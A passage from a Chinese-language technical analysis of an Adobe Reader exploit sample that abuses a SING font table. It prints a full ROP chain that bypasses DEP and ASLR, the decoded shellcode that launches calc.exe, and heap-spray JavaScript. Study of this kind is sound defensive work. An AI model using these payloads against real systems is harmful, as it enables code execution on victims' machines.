处的指令lock dec dword ptr ds:[eax]
对0x4A8A08C6+0x1C=0x4A8A08E2
地址处的值进行了读写
,所以0x4A8A08C6+0x1C
处的值必须要具有可读可写
权限。在吾爱OllyDbg
的内存窗口,只能看到此地址具有读权限
,而通过Immunity Debugger
可以看到此地址处具有读写权限
。
2.6、样本中SING表数据“0x6C”的作用
TBD,样本中注释说是,如果没有这段数据,sub_801ba57()函数将会返回0。没有调试出来。
最近找到一个链接,提到了这个数据的作用,更新下,就先不分析了,没啥时间。
2010.09.09 - VUPEN - Criminals Are Getting Smarter: Analysis of the Adobe Acrobat/Reader 0-Day Exploit
0x40 漏洞利用
0x41 ROP绕过DEP
1、阶段1:跳转到堆喷代码
DEP
(Data Execution Prevention),即数据执行保护
。开启后,堆栈
是不具有执行权限
的,所以不能直接在缓冲区
中填入Payload
。而ROP
(Return-Oriented Programming),返回导向编程
,则是通过程序中已存在
的多段小的代码片段(ROPgadget)
来控制程序执行流的。缓冲区中填入的只是代码片段的首地址
。样本中使用了两段ROPgadget
代码片段用于绕过DEP
。ROPgadget1:
1
2
3
4
5
6
7icucnv36.4A80CB38 81C5 94070000 add ebp,0x794 ; ebp=0x0012DD48+0x794=0x0012E4DC
icucnv36.4A80CB3E C9 leave ; 如下
icucnv36.4A80CB3F C3 retn
leave:
mov esp,ebp ; esp=ebp=0x0012E4DC
pop ebp ; esp=esp+0x4=0x0012E4E0 -> ROPgadget2
执行到0x0012E6D0
处的ROPgadget1
时,esp
(0x0012DD24)距离我们构造的“uniqueName”字段
在栈上的缓冲区的首地址
(0x0012E4D8)有较远距离
,所以我们需要寻找一段可以调整esp
至“uniqueName”字段缓冲区内的ROPgadget
。上面这段ROPgadget
先是通过修改ebp
,让其落在“uniqueName”字段缓冲区内,然后通过leave
指令,利用ebp
来修改esp
,使其指向第二段ROPgadget
,再执行ret
指令,跳转到ROPgadget2
执行。
ROPgadget2:
1
2
3
4
5icucnv36.4A82A712 FF50 5C call dword ptr ds:[eax+0x5C]
icucnv36.4A82A715 C3 retn
icucnv36.4A82A714 5C pop esp ; esp=0x0C0C0C0C
icucnv36.4A82A715 C3 retn
这段ROPgadget
直接将esp
指向堆喷的ROP Chain
代码处,执行ROP Chain
。原本这里的代码是CALL
指令,机器码为FF50 5C
,这里只截取了5C
,所以指令变成了pop esp
,成功控制EIP去执行Heap Spray
处的ROP Chain
。
接下来我们通过一张图来了解这个ROP过程
:
前面说过,漏洞作者选取的这两个ROPgadget地址0x4A82A714
和0x4A80CB38
都位于icucnv36.dll
的地址空间,而在Adobe Reader
的各个版本上,这个dll的这两处地址是始终不变
的,从而保证了exploit
对于各版本的兼容性
和稳定性
。
2、阶段2:将真正的shellcode复制到可读可写可执行内存段
接下来我们来看看堆喷的代码
是怎样绕过DEP
的。我查看了msf
用于生成样本文件的模块
,其中如下的数据就是用于绕过DEP
而构造的ROP Chain
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174# 使用icucnv36.dll中的代码片段,构建ret2lib的ROP Chain.以此绕过DEP,执行shellcode.
stack_data = [
0x41414141, # unused,用于补齐堆块内容长度占用的4byte
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx ; ecx=0x4a8a0000,用于保存eax的地址
0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as ; [ecx]=[0x4a8a0000]=eax,保存eax
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA) ; CreateFileA()在输入表中表项的地址
# -- call CreateFileA
# 创建或打开一个文件或I/O设备。
0x4a80b692, # jmp [eax] ; 调用CreateFileA()
# 这里用一条ret指令的地址,使程序执行流转到下一个ROPgadget(0x4a8063a5)执行,栈平衡是由CreateFileA()完成的。
0x4a801064, # ret ; CreateFileA()的返回地址,
0x4a8522c8, # first arg - lpFileName , pointer to "iso88591"
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx ; ecx=0x4a801064,ret指令地址
0x4a842db2, # xchg eax,edi / ret ; edi=0x0012E718,eax=0x00000304,eax<->edi,edi保存返回值,文件句柄
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify ; ebx=0x8,要修改位置的偏移
#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi ; 应该只是用这句指令修改下一步要调用的函数的参数
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改CreateFileMappingA第一个参数为调用CreateFileA返回的文件句柄)
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA) ; CreateFileMappingA()在输入表中表项的地址
# -- call CreateFileMappingA
# 创建或打开指定文件的命名或未命名文件映射对象。
0x4a80b692, # jmp [eax] ; 调用CreateFileMappingA()
# 这里用一条ret指令的地址,使程序执行流转到下一个ROPgadget(0x4a8063a5)执行,栈平衡是由CreateFileMappingA()完成的。
0x4a801064, # ret ; CreateFileMappingA()的返回地址
0xffffffff, # first arg - hFile ; CreateFileA返回的文件句柄
0x00000000, # second arg - lpAttributes
0x00000040, # third arg - flProtect
0x00000000, # fourth arg - dwMaximumSizeHigh
0x00010000, # fifth arg - dwMaximumSizeLow
0x00000000, # sixth arg - lpName
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx ; ecx=0x4a801064,ret指令地址
0x4a842db2, # xchg eax,edi / ret ; edi=0x00000304,eax=0x00000320,edi<->eax,edi保存返回值(0x320,文件映射对象的句柄。)
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify ; ebx=0x8,要修改位置的偏移
# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改MapViewOfFile第一个参数为调用CreateFileMappingA返回的文件映射对象的句柄)
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile) ; MapViewOfFile()在输入表中表项的地址
# -- call MapViewOfFile
# 将一个文件映射对象映射到当前应用程序的地址空间。
0x4a80b692, # jmp [eax] ; 调用MapViewOfFile()
0x4a801064, # ret ; MapViewOfFile()的返回地址
0xffffffff, # first arg - hFileMappingObject ; CreateFileMappingA返回的文件映射对象的句柄
0x00000022, # second arg - dwDesiredAccess
0x00000000, # third arg - dwFileOffsetHigh
0x00000000, # fourth arg - dwFileOffsetLow
0x00010000, # fifth arg - dwNumberOfBytesToMap
0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer ; ecx=0x4a8a0004,可写指针,用于保存文件映射基地址的指针
0x4a802196, # mov [ecx],eax / ret - save map base addr ; [ecx]=[0x4a8a0004]=eax=0x03550000,保存文件映射基地址
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址
0x4a842db2, # xchg eax,edi / ret ; eax=0x03550000,edi=0x320,eax<->edi,edi保存返回值(0x03550000,文件映射基地址)
0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify ; ebx=0x30,要修改位置的偏移
# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy返回地址为调用MapViewOfFile返回的文件映射基地址)
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr ; eax=0x4a8a0004,保存文件映射基地址的指针
0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr ; eax=[eax]=0x03550000,取文件映射基地址
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址
0x4a842db2, # xchg eax,edi / ret ; eax=0x03550000,edi=0x03550000,eax<->edi(0x03550000,文件映射基地址)
0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify ; ebx=0x20,要修改位置的偏移
# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy第一个参数为调用MapViewOfFile返回的文件映射基地址)
0x4a80a8a6, # execute fun block
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址
# lea edx,dword ptr ss:[esp+0xC] ; edx为0x4a8063a5的地址,edx=0x0C0C0D20,esp=0x0C0C0D14(0x4a801f90),主要语句
# push edx ; edx=0x0C0C0D20
# push eax ; eax=0x03550000
# push dword ptr ss:[esp+0xC] ; [esp+0xC]=[0x0C0C0D0C+0xC]=[0x0C0C0D18]=0x34
# push dword ptr ds:[0x4A8A093C] ; [0x4A8A093C]=0x0
# call ecx ; ecx=0x4a801064,ret指令地址
# add esp,0x10 ; esp=esp+0x10=0x0C0C0D04+0x10=0x0C0C0D14(0x4a801f90)
# retn ;
0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
0x4a801f90, # pop eax / ret
0x00000034, # becomes eax ; eax=0x00000034,真正shellcode的地址相对ROPgadget(0x4a8063a5)的偏移
0x4a80d585, # add eax,edx / ret ; eax=eax+edx=0x34+0x0C0C0D20(0x4a8063a5)=0x0C0C0D54(真正shellcode的地址)
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址
0x4a842db2, # xchg eax,edi / ret ; eax=0x0C0C0D54,edi=0x03550000,eax<->edi,edi保存真正shellcode的地址(eax=0x03550000,edi=0x0C0C0D54)
0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify ; ebx=0xa,要修改位置的偏移
# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy第二个参数为计算出的真正shellcode的地址)
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy) ; memcpy()在输入表中表项的地址
# -- call memcpy
0x4a80b692, # jmp [eax]
# memcpy的返回地址,由函数块0x4a80a8a6修改,被修改为真正shellcode的地址
0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst) ; 0x03550000,文件映射基地址
0xffffffff, # becomes second arg to memcpy (src) ; 0x0C0C0D54,真正shellcode的地址
0x00001000, # becomes third arg to memcpy (length) ; 复制长度
# 这后面就是经过编码的shellcode的内容
].pack('V*')
我们可以看到调用了四个函数,
CreateFileA()
、CreateFileMappingA()
、MapViewOfFile()
、memcpy()
。调用createFileA()
函数时参数如下:
1 | ; 功能:创建一个文件或设备 |
调用
CreateFileMappingA()
时的参数如下:
1 | ; 功能:创建文件映射内核对象,文件与物理页映射 |
调用
MapViewOfFile()
时的参数如下:
1 | ; 功能:将一个文件映射对象映射到当前应用程序的地址空间。将物理页与进程虚拟地址进行映射。 |
执行完,进程内存
中会多一块这样的内存块
:
1 | 地址=03EA0000 |
调用
memcopy()
时的参数如下:
1 | ; 功能:内存拷贝 |
最后调用memcopy
的时候,目的地址
就是前面MapViewOfFile()
返回的文件映射基地址
,而源地址
就是真正的shellcode
代码,将它复制
到一段可执行可读写的内存段
,以此绕过DEP
。由于构造的ROP指令
均位于不受ASLR
保护的icucnv36.dll
模块,因此也可以绕过ASLR保护
。正是由于DEP
的存在,所以堆栈空间
是不存在可执行权限
的,所以,我们需要创建一个文件映射对象
,将其映射
到可读可写可执行的内存块
,再把shellcode拷贝到那里,就可以执行了。
3、阶段3:执行shellcode
Heap Spary
中使用的shellcode
是经过编码的(payload.encoded
)。经过分析,shellcode
是通过XOR
进行编码的,所以会首先执行XOR解码
,然后再执行真正的shellcode
功能。解码前:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122; 内存:
;....0000 BA 6D A5 42 5E DD C4 D9 74 24 F4 5D 31 C9 B1 31 簃^菽賢$鬩1杀1
;....0010 83 C5 04 31 55 0F 03 55 62 47 B7 A2 94 05 38 5B 兣1UUbG发?8[
;....0020 64 6A B0 BE 55 AA A6 CB C5 1A AC 9E E9 D1 E0 0A dj熬U伺瑸檠?
;....0030 7A 97 2C 3C CB 12 0B 73 CC 0F 6F 12 4E 52 BC F4 z?<?s?oNR剪
;....0040 6F 9D B1 F5 A8 C0 38 A7 61 8E EF 58 06 DA 33 D2 o澅酲?庯X?
;....0050 54 CA 33 07 2C ED 12 96 27 B4 B4 18 E4 CC FC 02 T?,??创涮?
;....0060 E9 E9 B7 B9 D9 86 49 68 10 66 E5 55 9D 95 F7 92 殚饭賳Ihf錟潟鲯
;....0070 19 46 82 EA 5A FB 95 28 21 27 13 AB 81 AC 83 17 F傟Z麜(!'珌瑑
;....0080 30 60 55 D3 3E CD 11 BB 22 D0 F6 B7 5E 59 F9 17 0`U???婿穅Y?
;....0090 D7 19 DE B3 BC FA 7F E5 18 AC 80 F5 C3 11 25 7D ?蕹贱?瑎趺%}
;....00A0 E9 46 54 DC 67 98 EA 5A C5 9A F4 64 79 F3 C5 EF 镕T躦橁Z艢鬱y笈
;....00B0 16 84 D9 25 53 7A 90 64 F5 13 7D FD 44 7E 7E 2B 勝%Sz恉?}鼶~~+
;....00C0 8A 87 FD DE 72 7C 1D AB 77 38 99 47 05 51 4C 68 妵r|玾8橤QLh
;....00D0 BA 52 45 0B 5D C1 05 E2 F8 61 AF FA 0C 0C 0C 0C 篟E]?怿a....
;....00E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
;....00F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
; 反汇编:
; 异或解密流程:以0x5E42A56D为基础异或key,异或待解密数据的第一个双字,将异或的结果与0x5E42A56D相加,得到下一个双字的异或key,以此类推,ecx=ecx-0x1,直至ecx=0,退出循环。
....0000 BA 6DA5425E mov edx,0x5E42A56D ; edx=0x5E42A56D,异或数
....0005 DDC4 ffree st(4) ;
....0007 D97424 F4 fstenv (28-byte) ptr ss:[esp-0xC] ; 保存FPU环境,0x0C0C0D3C-0x0C0C0D58
....000B 5D pop ebp ; ebp=0x....0005
....000C 31C9 xor ecx,ecx ; ecx=0x0
....000E B1 31 mov cl,0x31 ; cl=0x31=49,异或数据(49个双字)
....0010 83C5 04 add ebp,0x4 ; ebp=0x....0005+0x4=0x....0009
....0013 3155 0F xor dword ptr ss:[ebp+0xF],edx ; [ebp+0xf]=[0x....0018]=0xA2B74762,异或解密0x18-0xDB的代码
....0016 0355 62 add edx,dword ptr ss:[ebp+0x62]
....0019 47 inc edi
....001A B7 A2 mov bh,0xA2
....001C 94 xchg eax,esp
....001D 05 385B646A add eax,0x6A645B38
....0022 B0 BE mov al,0xBE
....0024 55 push ebp
....0025 AA stos byte ptr es:[edi]
....0026 A6 cmps byte ptr ds:[esi],byte ptr es:[edi]
....0027 cb retf
....0028 c51a lds ebx,fword ptr ds:[edx]
....002A AC lods byte ptr ds:[esi]
....002B 9E sahf
....002C - E9 D1E00A7A jmp 7E2BE102
....0031 97 xchg eax,edi
....0032 2C 3C sub al,0x3C
....0034 cb retf
....0035 120B adc cl,byte ptr ds:[ebx]
....0037 ^ 73 CC jnb short ....0005
....0039 0F6F12 movq mm2,qword ptr ds:[edx]
....003C 4E dec esi
....003D 52 push edx
....003E BC F46F9DB1 mov esp,0xB19D6FF4
....0043 F5 cmc
....0044 A8 C0 test al,0xC0
....0046 38A7 618EEF58 cmp byte ptr ds:[edi+0x58EF8E61],ah
....004C 06 push es
....004D DA33 fidiv dword ptr ds:[ebx]
....004F D254CA 33 rcl byte ptr ds:[edx+ecx*8+0x33],cl
....0053 07 pop es
....0054 2C ED sub al,0xED
....0056 1296 27B4B418 adc dl,byte ptr ds:[esi+0x18B4B427]
....005C e4 cc in al,0xcc
....005E FC cld
....005F 02E9 add ch,cl
....0061 - E9 B7B9D986 jmp 8AFABA1D
....0066 49 dec ecx
....0067 68 1066E555 push 0x55E56610
....006C 9D popfd
....006D 95 xchg eax,ebp
....006E F792 194682EA not dword ptr ds:[edx-0x157DB9E7]
....0074 5A pop edx
....0075 FB sti
....0076 95 xchg eax,ebp
....0077 2821 sub byte ptr ds:[ecx],ah
....0079 27 daa
....007A 13AB 81AC8317 adc ebp,dword ptr ds:[ebx+0x1783AC81]
....0080 3060 55 xor byte ptr ds:[eax+0x55],ah
....0083 D33E sar dword ptr ds:[esi],cl
....0085 CD 11 int 0x11
....0087 BB 22D0F6B7 mov ebx,0xB7F6D022
....008C 5E pop esi
....008D 59 pop ecx
....008E F9 stc
....008F 17 pop ss
....0090 D7 xlat byte ptr ds:[ebx+al]
....0091 19DE sbb esi,ebx
....0093 B3 BC mov bl,0xBC
....0095 FA cli
....0096 ^ 7F E5 jg short ....007D
....0098 18AC80 F5C31125 sbb byte ptr ds:[eax+eax*4+0x2511C3F5],c>
....009F ^ 7D E9 jge short ....008A
....00A1 46 inc esi
....00A2 54 push esp
....00A3 DC67 98 fsub qword ptr ds:[edi-0x68]
....00A6 ea 5ac59af4 647>jmp far 7964:0f49ac55a
....00AD f3 rep
....00AE c5 db c5
....00AF ef out dx,eax
....00B0 16 push ss
....00B1 84D9 test cl,bl
....00B3 25 537A9064 and eax,0x64907A53
....00B8 F5 cmc
....00B9 137D FD adc edi,dword ptr ss:[ebp-0x3]
....00BC 44 inc esp
....00BD 7E 7E jle short ....013D
....00BF 2B8A 87FDDE72 sub ecx,dword ptr ds:[edx+0x72DEFD87]
....00C5 7C 1D jl short ....00E4
....00C7 AB stos dword ptr es:[edi]
....00C8 77 38 ja short ....0102
....00CA 99 cdq
....00CB 47 inc edi
....00CC 05 514C68BA add eax,0xBA684C51
....00D1 52 push edx
....00D2 45 inc ebp
....00D3 0B5D C1 or ebx,dword ptr ss:[ebp-0x3F]
....00D6 05 E2F861AF add eax,0xAF61F8E2
....00DB FA cli
....00DC 0C 0C or al,0xC
....00DE 0C 0C or al,0xC
....00E0 0C 0C or al,0xC
....00E2 0C 0C or al,0xC
....00E4 0C 0C or al,0xC
....00E6 0C 0C or al,0xC
解码后:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122; 内存:
;....0000 BA 6D A5 42 5E DD C4 D9 74 24 F4 5D 31 C9 B1 31 簃^菽賢$鬩1杀1
;....0010 83 C5 04 31 55 0F 03 55 0F E2 F5 FC E8 82 00 00 兣1UU怩?.
;....0020 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 .`夊1纃婸0婻.婻
;....0030 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 媟(稪&1?a|,
;....0040 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 料.氢騌W婻婮<
;....0050 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 Lx鉎裃媃 計I
;....0060 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 ?I????
;....0070 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 8鄒?}?}$u鋁媂$
;....0080 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 觙?K媂計?
;....0090 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 塂$$[[aYZQ郷_Z
;....00A0 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B 雿]j崊?..Ph1
;....00B0 6F 87 FF D5 BB F0 B5 A2 56 68 A6 95 BD 9D FF D5 o?栈鸬h綕
;....00C0 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 <|.€u籊roj.
;....00D0 53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C S誧alc.exe.....
;....00E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
;....00F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
; 反汇编:
....0000 BA 6DA5425E mov edx,0x5E42A56D ; edx=0x5E42A56D,异或数
....0005 DDC4 ffree st(4) ;
....0007 D97424 F4 fstenv (28-byte) ptr ss:[esp-0xC] ; 保存FPU环境,0x0C0C0D3C-0x0C0C0D58
....000B 5D pop ebp ; ebp=0x....0005
....000C 31C9 xor ecx,ecx ; ecx=0x0
....000E B1 31 mov cl,0x31 ; cl=0x31=49,49个双字待异或解密数据
....0010 83C5 04 add ebp,0x4 ; ebp=0x....0005+0x4=0x....0009
....0013 3155 0F xor dword ptr ss:[ebp+0xF],edx ; [ebp+0xf]=[0x....0018]=0xA2B74762,异或解密0x18-0xDB的代码
....0016 0355 0F add edx,dword ptr ss:[ebp+0xF] ; edx=edx+[ebp+0xf]=0x5E42A56D+0xFCF5E20F=0x5B38877C
....0019 ^ E2 F5 loopd short ....0010 ; 跳转到0x....0010,ecx=ecx-1
-----------------------------------------------------------------------------------------------------------------------------
....001B FC cld ; 方向标志位DF清零,lodsb指令根据DF改变esi
....001C E8 82000000 call ....00A3 ; 返回地址为0x....0021
....0021 60 pushad
....0022 89E5 mov ebp,esp
....0024 31C0 xor eax,eax
....0026 64:8B50 30 mov edx,dword ptr fs:[eax+0x30]
....002A 8B52 0C mov edx,dword ptr ds:[edx+0xC]
....002D 8B52 14 mov edx,dword ptr ds:[edx+0x14]
....0030 8B72 28 mov esi,dword ptr ds:[edx+0x28]
....0033 0FB74A 26 movzx ecx,word ptr ds:[edx+0x26]
....0037 31FF xor edi,edi ---+
....0039 AC lods byte ptr ds:[esi] |
....003A 3C 61 cmp al,0x61 |
....003C 7C 02 jl short ....0040 | 计算dll名称hash
....003E 2C 20 sub al,0x20 |
....0040 C1CF 0D ror edi,0xD |
....0043 01C7 add edi,eax |
....0045 ^ E2 F2 loopd short ....0039 ---+
....0047 52 push edx
....0048 57 push edi
....0049 8B52 10 mov edx,dword ptr ds:[edx+0x10]
....004C 8B4A 3C mov ecx,dword ptr ds:[edx+0x3C]
....004F 8B4C11 78 mov ecx,dword ptr ds:[ecx+edx+0x78]
....0053 E3 48 jecxz short ....009D
....0055 01D1 add ecx,edx
....0057 51 push ecx
....0058 8B59 20 mov ebx,dword ptr ds:[ecx+0x20]
....005B 01D3 add ebx,edx
....005D 8B49 18 mov ecx,dword ptr ds:[ecx+0x18]
....0060 E3 3A jecxz short ....009C
....0062 49 dec ecx
....0063 8B348B mov esi,dword ptr ds:[ebx+ecx*4]
....0066 01D6 add esi,edx
....0068 31FF xor edi,edi ---+
....006A AC lods byte ptr ds:[esi] |
....006B C1CF 0D ror edi,0xD |
....006E 01C7 add edi,eax | 计算函数名hash
....0070 38E0 cmp al,ah |
....0072 ^ 75 F6 jnz short ....006A ---+
....0074 037D F8 add edi,dword ptr ss:[ebp-0x8] | api_hash = dll_name_hash + func_name_hash
....0077 3B7D 24 cmp edi,dword ptr ss:[ebp+0x24] |
....007A ^ 75 E4 jnz short ....0060 ---+
....007C 58 pop eax
....007D 8B58 24 mov ebx,dword ptr ds:[eax+0x24]
....0080 01D3 add ebx,edx
....0082 66:8B0C4B mov cx,word ptr ds:[ebx+ecx*2]
....0086 8B58 1C mov ebx,dword ptr ds:[eax+0x1C]
....0089 01D3 add ebx,edx
....008B 8B048B mov eax,dword ptr ds:[ebx+ecx*4]
....008E 01D0 add eax,edx
....0090 894424 24 mov dword ptr ss:[esp+0x24],eax
....0094 5B pop ebx
....0095 5B pop ebx
....0096 61 popad
....0097 59 pop ecx
....0098 5A pop edx
....0099 51 push ecx
....009A ^ FFE0 jmp eax ; 调用查找到的所需api函数
....009C 5F pop edi
....009D 5F pop edi
....009E 5A pop edx
....009F 8B12 mov edx,dword ptr ds:[edx]
....00A1 ^ EB 8D jmp short ....0030
-----------------------------------------------------------------------------------------------------------------------------
....00A3 5D pop ebp ; ebp=0x....0021
....00A4 6A 01 push 0x1
....00A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2] ; eax=ebp+0xB2=0x....0021+0xB2=0x....00D3(calc.exe)
....00AC 50 push eax
....00AD 68 318B6F87 push 0x876F8B31 ; WinExec(kernel32.dll),通过hash算法算出的api_hash
....00B2 FFD5 call ebp
....00B4 BB F0B5A256 mov ebx,0x56A2B5F0 ; ExitProcess(kernel32.dll)
....00B9 68 A695BD9D push 0x9DBD95A6 ; GetVersion(kernel32.dll)
....00BE FFD5 call ebp
....00C0 3C 06 cmp al,0x6
....00C2 7C 0A jl short ....00CE
....00C4 80FB E0 cmp bl,0xE0
....00C7 75 05 jnz short ....00CE
....00C9 BB 4713726F mov ebx,0x6F721347 ; RtlExitUserThread(ntdll.dll)
....00CE 6A 00 push 0x0
....00D0 53 push ebx
....00D1 FFD5 call ebp
-----------------------------------------------------------------------------------------------------------------------------
....00D3 6361 6C arpl word ptr ds:[ecx+0x6C],sp ; "calc.exe\x00"
....00D6 632E arpl word ptr ds:[esi],bp
....00D8 65:78 65 js short 03d10140
....00DB 000C0C add byte ptr ss:[esp+ecx],cl
....00DE 0C 0C or al,0xC
....00E0 0C 0C or al,0xC
....00E2 0C 0C or al,0xC
....00E4 0C 0C or al,0xC
....00E6 0C 0C or al,0xC
....00E8 0C 0C or al,0xC
解码完shellcode
,然后通过TEB
、PEB
等结构计算出WinExec()
函数的地址,调用WinExec("calc.exe",0x1)
弹出计算器。计算库函数API地址
的shellcode使用的是metasploit-framework
中的block_api.asm,此版本为最新版本
,近期更新
过,与样本
中的有些许差别。其具体原理
准备重新写一篇文章,这篇就不介绍了,下面的注释
写的已经很清楚了。其功能
如下:
1 | ;-----------------------------------------------------------------------------; |
调用
WinExec()
函数时参数如下:
1 | 0C0C0D40 041E00B4 +-CALL 到 WinExec 来自 041E00B2 |
shellcode
中计算api函数hash
的算法如下(dll名称
使用的是大写字母
的unicode
字符串):
1 | # Author:Sp4n9x |
0x42 Heap Spray
在进行Heap Spray
时,我们一般会将EIP控制到0x0C0C0C0C
,利用javascript
申请大量的堆内存块
,并用包含着0x90(nop)
和shellcode
的内存片覆盖这些内存。通常javascript会从内存低址向高址
分配内存,因此申请的内存超过200MB
(200MB=200x1024x1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C
就会被含有shellcode
的内存块覆盖。只要内存片中的0x90
能够命中0x0C0C0C0C
的位置,通过滑行
,就可以执行到shellcode
。
我们可以通过PDFStreamDumper
看到内嵌的javascript
代码。我们看到的代码是经过混淆
的,所以将其复制出,将一些变量名
和对象名
进行重命名后,得到如下代码:
1 | var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a